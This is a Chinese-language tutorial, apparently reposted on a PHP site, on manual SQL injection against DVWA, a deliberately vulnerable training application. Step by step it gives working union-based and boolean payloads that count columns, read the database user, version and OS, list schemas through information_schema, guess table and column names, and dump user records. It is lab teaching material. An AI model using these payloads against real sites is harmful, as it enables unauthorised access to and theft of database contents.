首頁 >後端開發 >php教程 >DVWA之php+mysql手工注入

DVWA之php+mysql手工注入

不言
不言原創
2018-04-28 09:13:072749瀏覽

這篇文章介紹的內容是關於DVWA之php mysql手工注入,有著一定的參考價值,現在分享給大家,有需要的朋友可以參考一下

  1. dvwa安全等級為low,進入sql injection頁面,提示輸入user id,輸入正確的id,將顯示id first name,surname資訊。

  2. 嘗試輸入"'",傳回錯誤。存在註入點。

  3. 嘗試遍歷資料庫表,提示輸入的值為ID,初步判斷為數字類型注入。嘗試輸入:1 or 1=1,嘗試遍歷資料庫表。結果失敗。


  1. 1 或 1=1遍歷資料庫表失敗,猜測程式將此處看成了字元型,可嘗試輸入1' or '1'='1 後遍歷出資料庫中所有內容。下面嘗試結合各種不同語句,得到不同結果。

  2. #利用order by 語句查詢,輸入1'order by 1 - - 頁面顯示正常,1'order by 2 - - 顯示正常,1'order by 3 - - 報錯,判斷查詢結果值為2列。 (注意語句中- - 後邊有空格,- -之間沒有空格)

  3. 使用user(),database(),version()三個內建函數得到資料庫的帳戶名,資料庫名稱,資料庫版本信息,首先參數注入     1' and 1=2 union select 1,2 - -(- -之間無空格,- -後有空格)。得出first name處顯示為查詢結果第一列的值,surname處顯示為查詢結果第二列的值。

  4. #在得知顯示之後,使用user(), database(),version(),語句1' and 1=2 union select user(),database() - - 取得資料庫使用者以及資料庫名稱。連結資料庫的使用者為root@localhost,資料庫名稱為dvwa。

  5. #透過注入1' and 1=2 union select version (),database() - - 得到資料庫版本為:5.0.90-community-nt。
  6. 透過注入:1'and 1=2 union select 1,@@global.version_compile_os from mysql.user –- 獲得操作系統資訊為win32.
  7. # 透過注入: 1' and 1=2 union select 1,schema_name from information_schema.schemata - - 查詢mysql資料庫,所有資料庫名字。這裡利用了mysql預設資料庫information_scehma,該資料庫儲存了mysql所有資料庫和表格的資訊。

    ##########
  8. 透過注入1' and exists(select * from users) - - 猜解dvwa資料庫中表名(該語句中表名為users,該表實際上沒有存放使用者名稱與密碼)

  9. #猜解欄位名稱:1' and exists(select 欄位名稱from 表名) - - ,這裡實際測試欄位名稱first_name和last_name。實際語句 1' and exists(select first_name from users) - -以及1' and exists(select last_name from users) - - 猜解欄位名稱。

  10. #在資料庫中爆出欄位內容。 1' and 1=2 union select first_name,last_name from users - - 這裡其實如果是存放管理員帳號的表,那麼使用者名稱和密碼就可以爆出了。

原始碼

相關推薦:

閱讀DVWA系統程式碼之config.inc.php

以上是DVWA之php+mysql手工注入的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn